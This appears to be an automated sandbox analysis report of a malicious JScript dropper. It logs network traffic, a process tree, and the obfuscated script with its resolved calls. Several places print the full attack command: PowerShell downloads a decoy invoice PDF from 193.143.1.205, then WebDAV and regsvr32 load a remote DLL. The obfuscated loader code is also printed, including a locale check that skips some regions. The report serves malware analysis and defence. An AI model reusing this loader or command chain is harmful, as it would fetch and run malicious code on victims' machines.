Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 01:35:03.864530087 CET	1.1.1.1	192.168.2.5	0x9311	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:35:03.864530087 CET	1.1.1.1	192.168.2.5	0x9311	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:35:03.864530087 CET	1.1.1.1	192.168.2.5	0x9311	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.40	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:35:03.864530087 CET	1.1.1.1	192.168.2.5	0x9311	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.34	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:35:03.864530087 CET	1.1.1.1	192.168.2.5	0x9311	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.37	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:35:03.864530087 CET	1.1.1.1	192.168.2.5	0x9311	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.25	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:35:03.864530087 CET	1.1.1.1	192.168.2.5	0x9311	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.39	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:35:03.864530087 CET	1.1.1.1	192.168.2.5	0x9311	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.22	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:35:03.864530087 CET	1.1.1.1	192.168.2.5	0x9311	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.23	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:35:06.053482056 CET	1.1.1.1	192.168.2.5	0xa8fe	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:35:19.974252939 CET	1.1.1.1	192.168.2.5	0x96ad	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:35:32.397650957 CET	1.1.1.1	192.168.2.5	0xeab4	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	1088	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:34:50.867064953 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 01:34:51.652692080 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:34:51 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 01:34:51.652719975 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 01:34:51.652755022 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 01:34:51.652795076 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 01:34:51.652813911 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 01:34:51.652838945 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 01:34:51.653031111 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 01:34:51.653049946 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 01:34:51.653074980 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 01:34:51.653101921 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 11, 2025 01:34:51.657713890 CET	1236	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	7116	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:34:53.118278980 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 01:34:53.918632984 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:34:53 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	19:34:47
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\739144331377016921.js"
Imagebase:	0x7ff72b8d0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:34:47
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13164224385048.dll
Imagebase:	0x7ff7d7100000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:34:47
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	19:34:47
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	19:34:51
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	19:34:51
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7d7100000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	19:34:51
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff77e7e0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:34:52
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	19:34:52
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	19:34:52
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2256 --field-trial-handle=1620,i,15538910520980501664,16723883179804566774,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function xyjip() {	xyjip() ➔ undefined
1	rimsso = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var jnuje = this[oymghike + fzrmyzn + mhfhmzbrh + juawdnhz + dtdcgu + brmhcnya + vtxqz + uymxo] ( this[dfvkvn + gogpugv + paufsnh + mhfhmzbrh + bpgpyxy + oymghike + uymxo][vyzrmqr + mhfhmzbrh + dtdcgu + fzrmyzn + uymxo + dtdcgu + gxqvzok + msdvxv + onizberly + dtdcgu + paufsnh + uymxo] ( dfvkvn + gogpugv + paufsnh + mhfhmzbrh + bpgpyxy + oymghike + uymxo + eekfahi + gogpugv + kxqjw + dtdcgu + fyufyieu + fyufyieu ) [ofbnd + dtdcgu + rttykka + ofbnd + dtdcgu + fzrmyzn + gdtnpxnhs] ( pdacdx + nygem + ilbrqh + vzqej + vdqpnzslc + vyzrmqr + ugyivr + ofbnd + ofbnd + ilbrqh + pvnppk + jgvkeb + vdqpnzslc + ugyivr + gogpugv + ilbrqh + ofbnd + ubmdalhbg + vyzrmqr + nmvvlrlw + vtxqz + uymxo + mhfhmzbrh + nmvvlrlw + fyufyieu + hvrtycerg + utsmttdo + fzrmyzn + vtxqz + dtdcgu + fyufyieu + ubmdalhbg + brmhcnya + vtxqz + uymxo + dtdcgu + mhfhmzbrh + vtxqz + fzrmyzn + uymxo + bpgpyxy + nmvvlrlw + vtxqz + fzrmyzn + fyufyieu + ubmdalhbg + xbuzmeq + nmvvlrlw + paufsnh + fzrmyzn + fyufyieu + dtdcgu ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( tzpyozzlf = 0 ; tzpyozzlf < rimsso[fyufyieu + dtdcgu + vtxqz + rttykka + uymxo + kxqjw] ; ++ tzpyozzlf )
4	{
5	if ( jnuje == rimsso[tzpyozzlf] )
6	{
7	jnuje = true;
8	break ;
9	}
10	}
11	if ( jnuje !== true )
12	this[dfvkvn + gogpugv + paufsnh + mhfhmzbrh + bpgpyxy + oymghike + uymxo][rihibmyn + cedubiqr + bpgpyxy + uymxo] ( );
13	this[dfvkvn + gogpugv + paufsnh + mhfhmzbrh + bpgpyxy + oymghike + uymxo][vyzrmqr + mhfhmzbrh + dtdcgu + fzrmyzn + uymxo + dtdcgu + gxqvzok + msdvxv + onizberly + dtdcgu + paufsnh + uymxo] ( dfvkvn + gogpugv + paufsnh + mhfhmzbrh + bpgpyxy + oymghike + uymxo + eekfahi + gogpugv + kxqjw + dtdcgu + fyufyieu + fyufyieu ) [mhfhmzbrh + cedubiqr + vtxqz] ( paufsnh + pkrvu + gdtnpxnhs + hvrtycerg + soolmwjq + paufsnh + hvrtycerg + oymghike + nmvvlrlw + yrmhckawm + dtdcgu + mhfhmzbrh + juawdnhz + kxqjw + dtdcgu + fyufyieu + fyufyieu + eekfahi + dtdcgu + qtuicfcrg + dtdcgu + hvrtycerg + tfodicmj + vyzrmqr + nmvvlrlw + pkrvu + pkrvu + fzrmyzn + vtxqz + gdtnpxnhs + hvrtycerg + uctam + brmhcnya + vtxqz + urocuqk + nmvvlrlw + bwazdf + dtdcgu + tfodicmj + dfvkvn + dtdcgu + msdvxv + ofbnd + dtdcgu + yuwthyssg + cedubiqr + dtdcgu + juawdnhz + uymxo + hvrtycerg + tfodicmj + gxqvzok + cedubiqr + uymxo + mbewiqkg + bpgpyxy + fyufyieu + dtdcgu + hvrtycerg + fkldjrrg + uymxo + dtdcgu + pkrvu + oymghike + fkldjrrg + ubmdalhbg + bpgpyxy + vtxqz + urocuqk + nmvvlrlw + bpgpyxy + paufsnh + dtdcgu + eekfahi + oymghike + gdtnpxnhs + hxgifor + hvrtycerg + kxqjw + uymxo + uymxo + oymghike + akedqe + soolmwjq + soolmwjq + qfoiqmel + rsbpjmas + kgrrqros + eekfahi + qfoiqmel + fqyexh + kgrrqros + eekfahi + qfoiqmel + eekfahi + erifpp + fynfyrkfm + kcyrwiwzj + soolmwjq + bpgpyxy + vtxqz + urocuqk + nmvvlrlw + bpgpyxy + paufsnh + dtdcgu + eekfahi + oymghike + kxqjw + oymghike + uctam + qgjmgn + qgjmgn + juawdnhz + uymxo + fzrmyzn + mhfhmzbrh + uymxo + hvrtycerg + fkldjrrg + uymxo + dtdcgu + pkrvu + oymghike + fkldjrrg + ubmdalhbg + bpgpyxy + vtxqz + urocuqk + nmvvlrlw + bpgpyxy + paufsnh + dtdcgu + eekfahi + oymghike + gdtnpxnhs + hxgifor + qgjmgn + qgjmgn + paufsnh + pkrvu + gdtnpxnhs + hvrtycerg + soolmwjq + paufsnh + hvrtycerg + vtxqz + dtdcgu + uymxo + hvrtycerg + cedubiqr + juawdnhz + dtdcgu + hvrtycerg + ubmdalhbg + ubmdalhbg + qfoiqmel + rsbpjmas + kgrrqros + eekfahi + qfoiqmel + fqyexh + kgrrqros + eekfahi + qfoiqmel + eekfahi + erifpp + fynfyrkfm + kcyrwiwzj + mukpwn + qqirqqa + qqirqqa + qqirqqa + qqirqqa + ubmdalhbg + gdtnpxnhs + fzrmyzn + urocuqk + yrmhckawm + yrmhckawm + yrmhckawm + mhfhmzbrh + nmvvlrlw + nmvvlrlw + uymxo + ubmdalhbg + qgjmgn + qgjmgn + paufsnh + pkrvu + gdtnpxnhs + hvrtycerg + soolmwjq + paufsnh + hvrtycerg + mhfhmzbrh + dtdcgu + rttykka + juawdnhz + urocuqk + mhfhmzbrh + kgrrqros + erifpp + hvrtycerg + soolmwjq + juawdnhz + hvrtycerg + ubmdalhbg + ubmdalhbg + qfoiqmel + rsbpjmas + kgrrqros + eekfahi + qfoiqmel + fqyexh + kgrrqros + eekfahi + qfoiqmel + eekfahi + erifpp + fynfyrkfm + kcyrwiwzj + mukpwn + qqirqqa + qqirqqa + qqirqqa + qqirqqa + ubmdalhbg + gdtnpxnhs + fzrmyzn + urocuqk + yrmhckawm + yrmhckawm + yrmhckawm + mhfhmzbrh + nmvvlrlw + nmvvlrlw + uymxo + ubmdalhbg + qfoiqmel + kgrrqros + qfoiqmel + fefimt + fqyexh + erifpp + erifpp + fqyexh + kgrrqros + qqirqqa + kcyrwiwzj + fynfyrkfm + fqyexh + qqirqqa + eekfahi + gdtnpxnhs + fyufyieu + fyufyieu, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13164224385048.dll",0,false) ➔ 0
14	}
15	kxqjw = "F";
16	kxqjw = "p";
17	kxqjw = "B";
18	kxqjw = "t";
19	kxqjw = "B";
20	kxqjw = "b";
21	kxqjw = "n";
22	kxqjw = "z";
23	kxqjw = "z";
24	kxqjw = "k";
25	kxqjw = "f";
26	kxqjw = "g";
27	kxqjw = "J";
28	kxqjw = "g";
29	kxqjw = "l";
30	kxqjw = "L";
31	kxqjw = "e";
32	kxqjw = "Z";
33	kxqjw = "q";
34	kxqjw = "Z";
35	kxqjw = "G";
36	kxqjw = "k";
37	kxqjw = "G";
38	kxqjw = "S";
39	kxqjw = "u";
40	kxqjw = "k";
41	kxqjw = "G";
42	kxqjw = "T";
43	kxqjw = "z";
44	kxqjw = "j";
45	kxqjw = "C";
46	kxqjw = "o";
47	kxqjw = "b";
48	kxqjw = "t";
49	kxqjw = "G";
50	kxqjw = "R";
51	kxqjw = "K";
52	kxqjw = "X";
53	kxqjw = "R";
54	kxqjw = "f";
55	kxqjw = "u";
56	kxqjw = "h";
57	hvrtycerg = "G";
58	hvrtycerg = "P";
59	hvrtycerg = "j";
60	hvrtycerg = "d";
61	hvrtycerg = "p";
62	hvrtycerg = "H";
63	hvrtycerg = "f";
64	hvrtycerg = "p";
65	hvrtycerg = "v";
66	hvrtycerg = "p";
67	hvrtycerg = "X";
68	hvrtycerg = "X";
69	hvrtycerg = "K";
70	hvrtycerg = "B";
71	hvrtycerg = "V";
72	hvrtycerg = "O";
73	hvrtycerg = "Z";
74	hvrtycerg = "D";
75	hvrtycerg = "Q";
76	hvrtycerg = "d";
77	hvrtycerg = "J";
78	hvrtycerg = "B";
79	hvrtycerg = "i";
80	hvrtycerg = "v";
81	hvrtycerg = "h";
82	hvrtycerg = "K";
83	hvrtycerg = "z";
84	hvrtycerg = "p";
85	hvrtycerg = "Q";
86	hvrtycerg = "B";
87	hvrtycerg = "H";
88	hvrtycerg = "J";
89	hvrtycerg = "F";
90	hvrtycerg = "B";
91	hvrtycerg = "l";
92	hvrtycerg = "a";
93	hvrtycerg = " ";
94	urocuqk = "d";
95	urocuqk = "Z";
96	urocuqk = "c";
97	urocuqk = "J";
98	urocuqk = "e";
99	urocuqk = "u";
100	urocuqk = "M";
101	urocuqk = "g";
102	urocuqk = "R";
103	urocuqk = "t";
104	urocuqk = "s";
105	urocuqk = "G";
106	urocuqk = "p";
107	urocuqk = "C";
108	urocuqk = "h";
109	urocuqk = "X";
110	urocuqk = "a";
111	urocuqk = "o";
112	urocuqk = "i";
113	urocuqk = "a";
114	urocuqk = "I";
115	urocuqk = "t";
116	urocuqk = "j";
117	urocuqk = "a";
118	urocuqk = "E";
119	urocuqk = "a";
120	urocuqk = "s";
121	urocuqk = "T";
122	urocuqk = "w";
123	urocuqk = "B";
124	urocuqk = "a";
125	urocuqk = "l";
126	urocuqk = "b";
127	urocuqk = "a";
128	urocuqk = "o";
129	urocuqk = "T";
130	urocuqk = "v";
131	utsmttdo = "W";
132	utsmttdo = "Z";
133	utsmttdo = "f";
134	utsmttdo = "p";
135	utsmttdo = "a";
136	utsmttdo = "G";
137	utsmttdo = "N";
138	utsmttdo = "O";
139	utsmttdo = "S";
140	utsmttdo = "l";
141	utsmttdo = "u";
142	utsmttdo = "N";
143	utsmttdo = "h";
144	utsmttdo = "O";
145	utsmttdo = "B";
146	utsmttdo = "z";
147	utsmttdo = "P";
148	utsmttdo = "i";
149	utsmttdo = "P";
